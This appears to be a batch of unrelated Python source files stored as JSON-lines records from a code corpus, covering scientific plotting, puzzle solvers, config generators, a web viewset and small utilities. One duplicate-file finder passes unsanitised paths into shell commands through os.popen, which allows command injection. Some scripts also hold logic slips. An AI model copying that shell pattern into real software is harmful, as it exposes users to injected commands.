+{"seq_id":"42489749","text":"\n#ImportModules\nimport ShareYourSystem as SYS\n\n#Definition \nMyModeler=SYS.ModelerClass(\n\t\t**{\n\t\t\t'FolderingPathVariable':SYS.Modeler.LocalFolderPathStr,\n\t\t\t'HdformatingFileKeyStr':'Thing1.hdf',\n\t\t\t'ModelKeyStrsList':[\t\n\t\t\t\t'MyStr',\n\t\t\t\t'MyIntsList'\n\t\t\t]\n\t\t}\n\t).model(\n\t)\n\n#Build a structure with a database\nSYS.mapSet(\n\t\tMyModeler.ModeledHdfTable,\n\t\t[\n\t\t\t('row.__setitem__',{'#liarg':('MyStr',\"hello\")}),\n\t\t\t('row.append',{'#liarg':None}),\n\t\t\t('row.__setitem__',{'#liarg':('MyStr',\"bonjour\")}),\n\t\t\t('row.__setitem__',{'#liarg':('MyIntsList',[1])}),\n\t\t\t('row.append',{'#liarg':None}),\n\t\t\t#('row.__setitem__',{'#liarg':('MyStr',\"bonjour\")}), \n\t\t\t#('row.__setitem__',{'#liarg':('MyIntsList',[1,3])}), \n\t\t\t#THIS would bring an error because list has to be size=1\n\t\t\t#('row.append',{'#liarg':None}),\n\t\t\t('flush',{'#liarg':None})\n\t\t]\n)\n\n#Definition the AttestedStr\nprint('MyModeler is ')\nSYS._print(MyModeler)\n\n#view\nprint('hdf5 file is : \\n'+SYS._str(MyModeler.hdfview()))\n\n#close\nMyModeler.file(_ModeStr='c')\n\n\n","sub_path":"Pythonlogy/build/lib/ShareYourSystem/Standards/Modelers/Modeler/03_ExampleDoc.py","file_name":"03_ExampleDoc.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"99538711","text":"import sys, os\n\nextensions = []\n\ntemplates_path = ['_templates']\n\nsource_suffix = '.rst'\n\nmaster_doc = 'index'\n\nproject = 'KEGGscape'\ncopyright = 'Kozo Nishida, Keiichiro Ono'\n\nversion = '0.8.2'\nrelease = '0.8.2'\n\nexclude_trees = ['_build']\n\npygments_style = 'sphinx'\n\nhtml_theme = 'default'\n\nhtml_static_path = ['_static']\n\nhtmlhelp_basename = 'KEGGscape'\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"538703666","text":"# Write a function that accepts two positive integers as function parameters & returns their least common multiple(LCM)\n# The LCM of two integers a and b is the smallest (non zero) positive integer that is divisible by both a and b.\n# For example, the LCM of 4 and 6 is 12, the LCM of 10 and 5 is 10.\n\ndef lcm(a, b):\n num = 1\n while True:\n if num % a == 0 and num % b ==0:\n lcmNum = num\n break\n num = num + 1\n return lcmNum\n\n\n","sub_path":"CSE1309x/leastCommonMultiple.py","file_name":"leastCommonMultiple.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"284094335","text":"#!/usr/bin/python3\n\nf = open('p096_sudoku.txt', 'r')\np = []\nw = []\n\nfor n, l in enumerate(f.readlines()):\n if n % 10 != 0:\n w.append( [ int(x) for x in l[:-1] ] )\n elif n > 0:\n p.append(w.copy())\n w = []\n\ndef free(sudoku, x, y):\n f = set( [ i for i in range(1, 10) ] )\n\n for i in range(0, 9):\n f.discard(sudoku[x][i])\n f.discard(sudoku[i][y])\n\n x2 = x//3\n y2 = y//3\n\n for i in range(0, 3):\n for j in range(0, 3):\n f.discard(sudoku[3*x2+i][3*y2+j])\n\n return f\n\n\ndef solve(sudoku, lvl):\n zeros = 0\n for i in range(0, 9):\n for j in range(0, 9):\n if sudoku[i][j] == 0:\n zeros += 1\n\n if zeros == 0:\n w = sudoku[0][0] * 100 + sudoku[0][1] * 10 + sudoku[0][2]\n print(w)\n return w\n\n for i in range(0, 9):\n for j in range(0, 9):\n if sudoku[i][j] == 0:\n q = free(sudoku, i, j)\n if len(q) == 0:\n return -1\n\n for f in q:\n sudoku[i][j] = f\n r = solve(sudoku, lvl+1)\n\n if r > 0:\n return r\n\n sudoku[i][j] = 0\n\n return -1\n\n return -1\n\nq = []\nfor n, i in enumerate(p):\n print(n+1, end=\" \")\n q.append(solve(i, 1))\n\nprint(sum(q))\n","sub_path":"96_su_doku.py","file_name":"96_su_doku.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"474392262","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\n\nrecord = []\n\nfor i in range(30):\n j = i+1\n GPIO.setup(j, GPIO.OUT)\n print(f'Testing chanel : {j} ')\n GPIO.output(j, True)\n time.sleep(2)\n component = input('Enter the component name:')\n record.append([j, component])\n GPIO.cleanup()\n\nprint(record)","sub_path":"chanel_test.py","file_name":"chanel_test.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"340369359","text":"from collections import deque\n\nresult = deque()\n\ndef enqueue(num):\n\n\n if len(result) == 0:\n result.append(num)\n\n elif len(result) == 1:\n if result[0] > num:\n result.append(result[0])\n result[0] = num\n else:\n result.append(num)\n\n else:\n for i in range(len(result)):\n if result[0+ i] < num < result[1+i]:\n result.insert(1+i, num)\n\n return result\n\nenqueue(1)\nenqueue(5)\nenqueue(2)\nenqueue(4)\nprint(enqueue(3))\n\n\n##########################################\n\ndef insert_sort(a):\n sd = deque()\n sd.append(a[0])\n\n for i in range(1, len(a)):\n pos = i\n for j in range(i-1, -1, -1):\n if sd[j] > a[i]:\n pos = j\n sd.insert(pos, a[i])\n\n return sd\n\n\n\n\n\n","sub_path":"Algorithm/190902/리스트_연습문제3.py","file_name":"리스트_연습문제3.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"593042151","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 24 14:10:49 2015\n\n@author: dan\n\"\"\"\n\nimport sys, os\nfrom copy import deepcopy\nsys.path.append(os.path.expanduser('~/git/kvivo_max/scripts/'))\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import curve_fit\nimport sys, os\nfrom collections import defaultdict\nfrom catalytic_rates import rates\nfrom cobra.flux_analysis.parsimonious import optimize_minimal_flux\nfrom cobra.flux_analysis.single_deletion import single_gene_deletion\nfrom matplotlib_venn import venn3\nfrom cobra.io.sbml import create_cobra_model_from_sbml_file\nfrom cobra.manipulation import delete_model_genes\nfrom cobra.core.Gene import parse_gpr, eval_gpr\nfrom collections import Counter\nimport csv\nsys.path.append(os.path.expanduser('~/git/across-projects'))\nfrom plot_types import cdf\n \nR = rates()\ngc = R.gc[R.gc['growth mode']=='batch']\n#gc = R.gc\nremove = R.gc['comments'].dropna()\ngc = gc.drop(remove.index)\ngr = gc['growth rate [h-1]'][gc.index]\n\nSAmax = R.SAmax['max specific activity [umol/mg/min]']\nefficiency = R.SA.div(SAmax,axis='rows')[gc.index]\n\n# all expressed enzymes in batch growth in units of mg/gCDW\nall_enzymes = set(R.genes.keys())\nexpression = pd.DataFrame.from_csv('../data/protein_abundance[copies_fl].csv')\nexpression = R._convert_copies_fL_to_mmol_gCDW(expression)\n\n\ndef get_functional_group(group_name, extend_fname):\n\n j = 0 \n systematic_level = 3\n genes = []\n for row in csv.reader(open(extend_fname, 'r'), delimiter='\\t'):\n if len(row) < 3:\n continue\n if j != 0:\n if row[2] != '':\n break \n genes.append(row[systematic_level]) \n \n if row[2] == group_name:\n j = 1\n return genes\n \nribosomal_proteins = get_functional_group('Ribosome', '../data/ecoli_extend.csv')\n\nc = 'GLC_BATCH_mu=0.58_S'\nribosome_exp = expression.loc[ribosomal_proteins]\nribosome_exp = ribosome_exp.mean()[gc.index] # mmol/gCDW\naa_flux = gr * (0.55/110) * 1000 / 3600# mmol/gCDW/s\nf_per_ribo = aa_flux / ribosome_exp # aa/ribosome/s\n\nplt.figure()\nplt.scatter(gr,f_per_ribo)\nplt.xlabel('growth rate [h-1]')\nplt.ylabel('AA per ribosome [s-1]')\nplt.xlim(0)\nplt.ylim(0)\n\nplt.figure()\nplt.plot(gr,ribosome_exp, 'o')\nplt.xlabel('growth rate [h-1]')\nplt.ylabel('ribosomes [mmol/gCDW]')\nplt.xlim(0)\nplt.ylim(0)\n#enzymes = R._convert_mmol_gCDW_to_mg_gCDW(R.expression_data[gc.index])\n#enzymes.dropna(how='all', inplace=True)\n#\n#enzymes = enzymes[c].dropna()\n#knockouts = set(all_enzymes) - set(enzymes.index)\n#knockouts.remove('s0001')\n#\n##model = create_cobra_model_from_sbml_file('../data/iJO1366.xml')\n#model = R.model\n#essentiality = single_gene_deletion(model, knockouts)\n#essential = set([model.genes.get_by_id(k) for k,v in essentiality[0].iteritems() if v==0])\n#\n#flux = R.flux_data * 3600\n#flux = flux[c]\n#tmp = {}\n#for g in essential:\n# for r in g.reactions:\n# tmp[g.id] = g.name\n# try:\n# i = flux[r.id] / flux.median()\n## if i > 1e-2:\n## print g\n# except:\n# continue\n\n#\n#def support_flux(flux):\n# reactions = [R.rxns[r] for r in flux.index]\n# out = set()\n# for r in reactions:\n# for g in list(r.genes):\n# out.add(g.id)\n# return out\n#\n#x = enzymes[c].dropna()\n#expressed = set(x.index)\n#y = flux[c].dropna()\n#carry_flux = support_flux(y)\n#\n#fig = plt.figure()\n#ax = plt.axes()\n#venn3([all_enzymes, expressed, carry_flux], \n# ['enzymes\\n%s'%len(all_enzymes), 'expressed\\n%s'%len(expressed), 'support flux\\n%s'%len(carry_flux)], ax=ax)\n#\n#a = carry_flux - expressed\n#out = set()\n#i = 0\n#for g in a:\n# gene = R.model.genes.get_by_id(g)\n# for r in list(gene.reactions):\n# if 'or' in r.gene_reaction_rule:\n# tree, clean = parse_gpr(r.gene_reaction_rule)\n# i = 1\n# break\n# if i == 1:\n# break\n \n \n \n\n\n\n#util = utilized_enzymes(x,y)\n#def utilized_enzymes(expression, flux):\n# out = set()\n# for g in expression.index:\n# e = R.genes[g]\n# reactions = map(lambda x: x.id, e.reactions)\n# if set(reactions) & set(flux.index):\n# out.add(e.id)\n# return out\n# \n#for c in gc.index:\n# x = enzymes[c].dropna()\n# expressed = set(x.index)\n# y = flux[c].dropna()\n# carry_flux = support_flux(y)\n# util = utilized_enzymes(x,y)\n# break\n# \n#fig = plt.figure()\n#ax = plt.axes()\n#venn3([all_enzymes, expressed, carry_flux], \n# ['enzymes\\n%s'%len(all_enzymes), 'expressed\\n%s'%len(expressed), 'support flux\\n%s'%len(util)], ax=ax)\n#plt.savefig('../res/enzymes_that_carry_flux.svg')\n\n\n\n'''\n\n \n\n#def perform_pFBA(model, cs, gr, ur):\n#\n# rxns = dict([(r.id, r) for r in model.reactions])\n# rxns['EX_glc_e'].lower_bound = 0 # uptake of carbon source reaction is initialized \n# try:\n# rxns['EX_' + cs + '_e'].lower_bound = -ur # redefine sole carbon source uptake reaction in mmol/gr/h\n# except:\n# print cs, ur\n# rxns['EX_glc_e'].lower_bound = -ur\n# rxns['Ec_biomass_iJO1366_core_53p95M'].upper_bound = gr \n# print \"solving pFBA\"\n# solution = optimize_minimal_flux(model, already_irreversible=True)\n# print cs, solution.f\n# flux_dist = pd.DataFrame(model.solution.x_dict.items()).set_index(0)\n# \n# return flux_dist \n#\n#fluxes = pd.DataFrame(index=R.rxns.keys(), columns=gc.index)\n#for c in gc.iterrows():\n# x = enzymes[c[0]].dropna()\n#\n# model = deepcopy(R.model)\n#\n# not_expressed = all_enzymes - set(x.index)\n# not_expressed = map(model.genes.get_by_id, not_expressed)\n## delete_model_genes(model, not_expressed)\n#\n# cs = c[1]['media_key']\n# gr = c[1]['growth rate [h-1]']\n# ur = c[1]['uptake rate [mmol gCDW-1 h-1]']\n# if np.isnan(ur):\n# ur = 18.5\n# try: \n# fluxes[c[0]] = perform_pFBA(model, cs, gr, ur)\n# except:\n# print cs\n# break\n\n\ndef bootstrap(x, w):\n x = x.dropna()\n w = w.dropna()\n ix = x.index & w.index\n x = x[ix].values\n w = w[ix].values\n Mw = np.zeros(1000)\n for i in xrange(1000):\n rand = np.random.choice(range(len(x)), len(x), replace=True)\n newx = x[rand]\n neww = w[rand]\n Mw[i] = sum(newx*neww)/sum(neww)\n return np.std(Mw)\n\n#plt.figure()\n#ax = plt.axes()\n#for c in gc.index:\n# cdf(enzymes[c], ax=ax)\n# print c, enzymes[c].median()\n#ax.set_xscale('log')\n\n\n\nunique = set([g for g in R.model.genes if len(g.reactions)==1])\n#index = set(proteins.index) & set(map(lambda x:x.id,enzymes))\nindex = set(proteins.index) & set(map(lambda x:x.id,unique))\nexpression = proteins.loc[index][gc.index]\nmg_gCDW = R._convert_mmol_gCDW_to_mg_gCDW(expression)\nmass = pd.DataFrame(index=efficiency.index, columns=gc.index)\n\nfor reac in mass.index:\n r = R.rxns[reac]\n genes = map(lambda x: x.id, r.genes)\n try:\n mass.loc[reac] = mg_gCDW.loc[genes].sum()\n except:\n continue\nmass.dropna(how='all', inplace=True)\n\nx = gc['growth rate [h-1]'][gc.index]\ny = np.zeros(len(gc))\nfor i,c in enumerate(gc.index):\n a = (mass[c]*efficiency[c]).dropna()\n y[i] = a.sum()/mass.loc[a.index][c].sum()\n#\nfig = plt.figure(figsize=(8,8))\nax = plt.axes()\n(intercept,slope), cov = curve_fit(lambda a,b,x: a*x+b, x, y)\nax.plot(x, slope*x+intercept, 'k:',zorder=0)\nfor j, i in enumerate(gc.index):\n c = gc.media_key[i]\n mode = gc['growth mode'][i]\n if mode == 'batch':\n ax.scatter(x[j],y[j],c='#ff4d4d',s=80,edgecolor='none',zorder=10)\n ax.errorbar(x[j],y[j],bootstrap(efficiency[i],mass[i]),c='r')\n ax.annotate(c,(x[j],y[j]+0.01),ha='center',va='baseline',size=15)\n else:\n ax.scatter(x[j],y[j], c='y',s=80,edgecolor='none', alpha=0.35)\nax.set_xlabel('growth rate [h$^{-1}$]', size=15)\nax.set_ylabel('effective capacity', size=15)\n[tick.label.set_fontsize(15) for tick in ax.xaxis.get_major_ticks()]\n[tick.label.set_fontsize(15) for tick in ax.yaxis.get_major_ticks()]\n\nplt.grid()\nax.set_xlim(np.floor(10*x.min())/10.,0.72)\nax.set_ylim(np.floor(10*x.min())/10.,0.72)\nplt.tight_layout()\nplt.savefig('../res/FIG1.png')\n\nfig = plt.figure()\nax = plt.axes()\ncm = plt.cm.get_cmap('Blues')\nfor i,c in enumerate(gc.index):\n a = R.kapp[c].dropna()\n# y = R.SA.loc[a.index][c]\n print a.median()\n cdf(a,color=cm(i/10.),ax=ax,lw=2.5)\nkmax = R.kmax['kmax per active site [s-1]'].dropna()\nkcat = R.kcat['kcat per active site [s-1]'].dropna()\ncdf(kmax,color='k',ax=ax,lw=2.5)\ncdf(kcat,color='y',ax=ax,lw=2.5)\n\nax.set_xscale('log')\nax.set_xlim(1e-2,1e3)\n\nfig = plt.figure()\nax = plt.axes()\nax.plot(x,mass.median(), 'ro')\nax.set_ylim(0,0.2)\n\n#z = {R.rxns[r].id:R.rxns[r].subsystem for r in WCE.index}\n#subsystems = defaultdict(list)\n#for key, value in sorted(z.iteritems()):\n# subsystems[value].append(key)\n#\n#colors = ColorMap(subsystems.keys())\n#for k,v in subsystems.iteritems():\n# array = matric.loc[v]\n# narray = array.div(array.mean(axis=1), axis=0)\n## narray.dropna(how='any', inplace=True)\n# g = gr[narray.columns]\n# print len(g), len(narray.columns)\n# \n# \n## print k, b\n# ax.plot(g, a*g+b, c=colors[k], marker='o', label=k)\n \n#\n#fig = plt.figure(figsize=(10,6))\n#ax = plt.axes(axisbg='0.95')\n#\n#plt.scatter(gr, matric.sum(), c='#4DB8FF', edgecolor='none', \n# s=50)\n## \n#labels = [gc['media'][c] for c in gr.index]\n#for i, txt in enumerate(labels):\n# ax.annotate(txt, (gr[i],matric.sum()[i]))\n##\n\n#plt.grid()\n\n#plt.savefig('../res/growth_rate_and_saturation.pdf')\n#x = a[-10:].index\n#colors = ColorMap(x)\n##plt.figure()\n##for r in x:\n## plt.plot(gr, CA.loc[r]/CA.loc[r][0], label=r, c = colors[r], marker='o')\n## plt.legend()\n#\n#plt.figure()\n#for r in x:\n# plt.plot(gr, E.loc[r], label=r, c = colors[r], marker='o')\n# plt.legend()\n# \n#plt.figure()\n#for r in x:\n# plt.plot(gr, V.loc[r], label=r, c = colors[r], marker='o')\n# plt.legend()\n# plt.figure()\n# plt.hist(a, 40)\n# print a['PSERT'] / gr[c]\n#\n\n#plt.tight_layout()\n#\n##fig = plt.figure(figsize=(6,6))\n##ax = plt.axes()\n##\n##for i, r in enumerate(efficiency.index):\n## x = weighted_concentration.loc[r].astype('float').dropna()\n## y = efficiency.loc[r].astype('float').dropna()\n##\n## z = gr[x.index]\n## z.sort\n## x = x[z.index] \n## y = y[z.index]\n## plt.scatter(x, y, c='b')\n## if i >= 0:\n## break\n###ax.set_xscale('log')\n##\n##\n### \n##fig = plt.figure(figsize=(6,6))\n##ax = plt.axes()\n##conditions = list(efficiency.columns)\n###conditions = [conditions[0:12]]# + [conditions[-1]]\n##cm = plt.cm.get_cmap('Greens')\n###cm = ['r']#, 'b']\n##for i, j in enumerate(conditions):\n## x = weighted_concentration[j].astype('float').dropna()\n## y = efficiency[j].astype('float').dropna()\n## \n## index = x.index & y.index\n## x = x.loc[index]\n## y = y.loc[index]\n## \n## plt.scatter(x, y, c=cm(1.0*i/len(conditions)), \n## edgecolor='none')\n##\n##[tick.label.set_fontsize(15) for tick in ax.xaxis.get_major_ticks()]\n##[tick.label.set_fontsize(15) for tick in ax.yaxis.get_major_ticks()]\n##ax.set_xlabel('log E [mg/gCDW]', size=15)\n##ax.set_ylabel('catalytic efficiency', size=15)\n##ax.set_xscale('log')\n##ax.set_xlim(1e-4,1e1)\n##ax.set_ylim(0,1.1)\n##\n##\n#\n##plt.scatter(gr, matric_theoretical, c='#8500AD', edgecolor='none', \n## s=50, label='relative to $k_{cat}$')\n##\n##a, p = curve_fit(lambda x, a: a*x, gr, matric_theoretical)\n##\n###gr = np.append(gr,1/a)\n###plt.plot(gr, a* gr)\n##\n###for i, c in enumerate(R.gc.index):\n### if R.gc['growth mode'][c] == 'batch':\n#### plt.scatter(gr[i], matric[c], c='k', edgecolor='none', \n#### s=50)\n### plt.scatter(gr[i], matric_theoretical[c], c='k', edgecolor='none', \n### s=50)\n##ax.set_xlim(0,1)\n##ax.set_ylim(0,0.4)\n###plt.legend(scatterpoints=1, loc=3, fontsize=15)#ax.plot([0,0.8],[0,0.8], '#993333')\n##plt.grid()\n##ax.set_xlabel('growth rate [h$^{-1}$]', size=15)\n##ax.set_ylabel('enzyome saturation', size=15)\n##\n##[tick.label.set_fontsize(15) for tick in ax.xaxis.get_major_ticks()]\n##[tick.label.set_fontsize(15) for tick in ax.yaxis.get_major_ticks()]\n##\n##plt.tight_layout()\n##\n##plt.savefig('../res/mass_efficiency.pdf')\n##\n##\n###fig = plt.figure(figsize=(6,6))\n###ax = plt.axes()\n###conditions = list(efficiency.columns)\n###conditions = [conditions[-10:-1]]# + [conditions[-1]]\n###cm = plt.cm.get_cmap('Greens')\n###cm = ['b']#, 'b']\n###for i, j in enumerate(conditions):\n### x = weighted_concentration[j].astype('float').dropna()\n### y = efficiency[j].astype('float').dropna()\n### \n### index = x.index & y.index\n### x = x.loc[index]\n### y = y.loc[index]\n### \n### plt.scatter(x, y, c=cm[i], \n### edgecolor='none')\n###\n###[tick.label.set_fontsize(15) for tick in ax.xaxis.get_major_ticks()]\n###[tick.label.set_fontsize(15) for tick in ax.yaxis.get_major_ticks()]\n###ax.set_xlabel('log E [mg/gCDW]', size=15)\n###ax.set_ylabel('catalytic efficiency', size=15)\n###ax.set_xscale('log')\n###ax.set_xlim(1e-4,1e1)\n###ax.set_ylim(0,1.1)\n'''","sub_path":"scripts/ribosomes.py","file_name":"ribosomes.py","file_ext":"py","file_size_in_byte":13149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"124079704","text":"import sys\n\nOUTPUT = sys.stdout\n\n\nclass html_meta(type):\n\n def __getattr__(cls, tag_name):\n\n def _init(self, **attrs):\n self._attrs = attrs\n\n def _print_opening_tag(self):\n print(f'<{tag_name}', end='', file=OUTPUT)\n for k, v in self._attrs.items():\n print(f' {k}=\"{v}\"', end='', file=OUTPUT)\n print('>', end='', file=OUTPUT)\n\n def _print_closing_tag(self):\n print(f'', end='', file=OUTPUT)\n\n def _enter(self):\n self._print_opening_tag()\n\n def _exit(self, exc_type, exc_val, exc_tb):\n self._print_closing_tag()\n\n def _call(self, text):\n self._print_opening_tag()\n print(text, end='', file=OUTPUT)\n self._print_closing_tag()\n\n tag_class = type(tag_name, (), {\n '__slots__': ('_attrs', ),\n '_print_opening_tag': _print_opening_tag,\n '_print_closing_tag': _print_closing_tag,\n '__init__': _init,\n '__enter__': _enter,\n '__exit__': _exit,\n '__call__': _call,\n })\n\n return tag_class\n\n\nclass html(metaclass=html_meta):\n pass\n\n\nif __name__ == '__main__':\n import unittest\n from io import StringIO\n\n class TestCase(unittest.TestCase):\n @classmethod\n def tearDownClass(cls):\n global OUTPUT\n OUTPUT = sys.stdout\n\n def setUp(self):\n global OUTPUT\n OUTPUT = StringIO()\n\n def tearDown(self):\n OUTPUT.close()\n\n def test_html_context_manager(self):\n assert isinstance(OUTPUT, StringIO) # for IDE method provision\n with html.u(style='color:red'):\n print('test', end='', file=OUTPUT)\n text = OUTPUT.getvalue()\n self.assertEqual(text, 'test')\n\n def test_html_call(self):\n assert isinstance(OUTPUT, StringIO) # for IDE method provision\n html.u(style='color:red')('test')\n text = OUTPUT.getvalue()\n self.assertEqual(text, 'test')\n\n suite = unittest.makeSuite(TestCase)\n runner = unittest.TextTestRunner()\n runner.run(suite)\n","sub_path":"util/html_tags_wrapper.py","file_name":"html_tags_wrapper.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"286242332","text":"from rest_framework import pagination, permissions\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom testproject.testapp import models, serializers\n\n\nclass ProjectViewSet(ModelViewSet):\n queryset = models.Project.objects.all()\n serializer_class = serializers.ProjectSerializer\n pagination_class = pagination.LimitOffsetPagination\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n\n @action(detail=True)\n def ping(self, request, pk):\n models.Project.objects.filter(pk=pk).update(name='ping')\n return Response(status=201)\n\n @action(detail=False)\n def first(self, request):\n project = models.Project.objects.first()\n serializer = self.get_serializer(instance=project)\n return Response(serializer.data)\n","sub_path":"testproject/testapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"571659655","text":"#!/usr/bin/env python\n \nimport os\nimport io\nimport sys\n\nstopword = [\":\",\",\",\"\",\" \",\"[\",\"]\",\"\\n\",\"{\",\"}\"]\n\nfilename = os.environ.get(\"mapreduce_map_input_file\")\nfor i in sys.stdin:\n if i.startswith(' \"data\"'):\n for j in i.split(\",\")[1:]:\n j=j.strip(''.join(stopword))\n if j not in stopword:\n print('{0:s}\\t{1:s},{2:d}'.format(j,filename,1))\n elif i.startswith(', [ '):\n for j in i.split(\",\"):\n j=j.strip(''.join(stopword))\n if j not in stopword:\n print('{0:s}\\t{1:s},{2:d}'.format(j,filename,1))\n","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"342143400","text":"import sys\r\n\r\nsys.stdin = open('file.in', 'r')\r\nsys.stdout = open('file.out', 'w')\r\n\r\ncard, door = map(int, input().split())\r\n\r\nsubjectnumber = 7\r\nloopsize = 0\r\npower = 1\r\nvalue = 1\r\n# Finding the card's loop size\r\nwhile value < card:\r\n value *= 7\r\n loopsize += 1\r\nwhile value != card:\r\n value *= 7\r\n value = value % 20201227\r\n loopsize += 1\r\nsubjectnumber = door\r\nvalue = 1\r\nloopsize = 8\r\nfor i in range(loopsize):\r\n value *= subjectnumber\r\n value = value % 20201227\r\nprint(value)\r\n","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"516280080","text":"# -*- coding: utf-8 -*-\n'''\nЗадание 9.1\nСоздать функцию, которая генерирует конфигурацию для access-портов.\nФункция ожидает такие аргументы:\n- словарь с соответствием интерфейс-VLAN такого вида:\n {'FastEthernet0/12':10,\n 'FastEthernet0/14':11,\n 'FastEthernet0/16':17}\n- шаблон конфигурации access-портов в виде списка команд (список access_mode_template)\nФункция должна возвращать список всех портов в режиме access\nс конфигурацией на основе шаблона access_mode_template.\nВ конце строк в списке не должно быть символа перевода строки.\nВ этом задании заготовка для функции уже сделана и надо только продолжить писать само тело функции.\nПример итогового списка (перевод строки после каждого элемента сделан для удобства чтения):\n[\n'interface FastEthernet0/12',\n'switchport mode access',\n'switchport access vlan 10',\n'switchport nonegotiate',\n'spanning-tree portfast',\n'spanning-tree bpduguard enable',\n'interface FastEthernet0/17',\n'switchport mode access',\n'switchport access vlan 150',\n'switchport nonegotiate',\n'spanning-tree portfast',\n'spanning-tree bpduguard enable',\n...]\nПроверить работу функции на примере словаря access_config.\nОграничение: Все задания надо выполнять используя только пройденные темы.\n'''\n\n\ndef generate_access_config(intf_vlan_mapping, access_template, psecurity = None):\n '''\n intf_vlan_mapping - словарь с соответствием интерфейс-VLAN такого вида:\n {'FastEthernet0/12':10,\n 'FastEthernet0/14':11,\n 'FastEthernet0/16':17}\n access_template - список команд для порта в режиме access\n Возвращает список всех портов в режиме access с конфигурацией на основе шаблона\n '''\n list1 = []\n for key, value in intf_vlan_mapping.items():\n list1.append(key)\n for command in access_template:\n if command.endswith(\"vlan\"):\n list1.append(command + ' ' + str(value))\n else:\n list1.append(command)\n if psecurity:\n for command in psecurity:\n list1.append(command)\n return list1\n\n\naccess_mode_template = [\n 'switchport mode access', 'switchport access vlan',\n 'switchport nonegotiate', 'spanning-tree portfast',\n 'spanning-tree bpduguard enable'\n]\n\nport_security_template = [\n 'switchport port-security maximum 2',\n 'switchport port-security violation restrict',\n 'switchport port-security'\n]\n\naccess_config = {\n 'FastEthernet0/12': 10,\n 'FastEthernet0/14': 11,\n 'FastEthernet0/16': 17\n}\n\nprint(generate_access_config(access_config, access_mode_template, port_security_template))\n","sub_path":"9_1.py","file_name":"9_1.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"231385301","text":"''' This script find the duplicate files using MD5, passing \n an argument which is the path of the directory.\n Condition: In-complete\n Author: Minh Bui\n'''\n\nimport os\nimport sys\n\ndef find_duplicates(path = os.getcwd()):\n ''' This function perform the calculating the md5 of files\n and group file with the same md5 value.\n '''\n cmd = 'cd ' + path\n wd = os.popen(cmd)\n if wd.read() != '':\n raise Exception('Directory does not exist.')\n else:\n cwd = os.getcwd()\n db = dict()\n listfiles = os.listdir(path)\n for item in listfiles:\n if path == os.getcwd():\n isFilePath = path + '/' + item\n else:\n isFilePath = cwd + '/' + path + '/' + item\n \n if os.path.isfile(isFilePath):\n cmd = 'md5sum ' + isFilePath\n fp = os.popen(cmd)\n message = fp.read()\n message = message.replace(item, ' ')\n md5 = message.strip()\n if md5 in db:\n db[md5].append(item)\n else:\n db[md5] = [item]\n wd.close()\n return db\n\ndef print_duplicates(db):\n ''' Print out the md5 key that has multiple files as values.\n '''\n for key in db:\n if len(db[key]) > 1:\n print('{0}'.format(db[key]))\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 0:\n db = find_duplicates()\n else:\n db = find_duplicates(sys.argv[1])\n print_duplicates(db)\n\n","sub_path":"scripts/find_duplicates.py","file_name":"find_duplicates.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"490892895","text":"class Property:\n \"\"\"\n Represents property\n \"\"\"\n\n def __init__(self, square_feet='', beds='',\n baths='', **kwargs):\n super().__init__(**kwargs)\n self.square_feet = square_feet\n self.num_bedrooms = beds\n self.num_baths = baths\n\n def display(self):\n \"\"\"\n (int) -> (str)\n Prints a table with property details\n \"\"\"\n print(\"PROPERTY DETAILS\")\n print(\"================\")\n print(\"square footage: {}\".format(self.square_feet))\n print(\"bedrooms: {}\".format(self.num_bedrooms))\n print(\"bathrooms: {}\".format(self.num_baths))\n print()\n\n def prompt_init():\n \"\"\"\n (int) -> (dict)\n Returns dictionary with the square feet, number of bedrooms and baths\n \"\"\"\n return dict(square_feet=input(\"Enter the square feet: \"),\n beds=input(\"Enter number of bedrooms: \"),\n baths=input(\"Enter number of baths: \"))\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass Apartment(Property):\n \"\"\"\n Represents Apartment and takes Property as superclass\n \"\"\"\n valid_laundries = (\"coin\", \"ensuite\", \"none\")\n valid_balconies = (\"yes\", \"no\", \"solarium\")\n\n def __init__(self, balcony='', laundry='', **kwargs):\n\n super().__init__(**kwargs)\n self.balcony = balcony\n self.laundry = laundry\n\n def display(self):\n \"\"\"\n (str) -> (str)\n Prints a table with apartment details\n \"\"\"\n super().display()\n print(\"APARTMENT DETAILS\")\n print(\"laundry: %s\" % self.laundry)\n 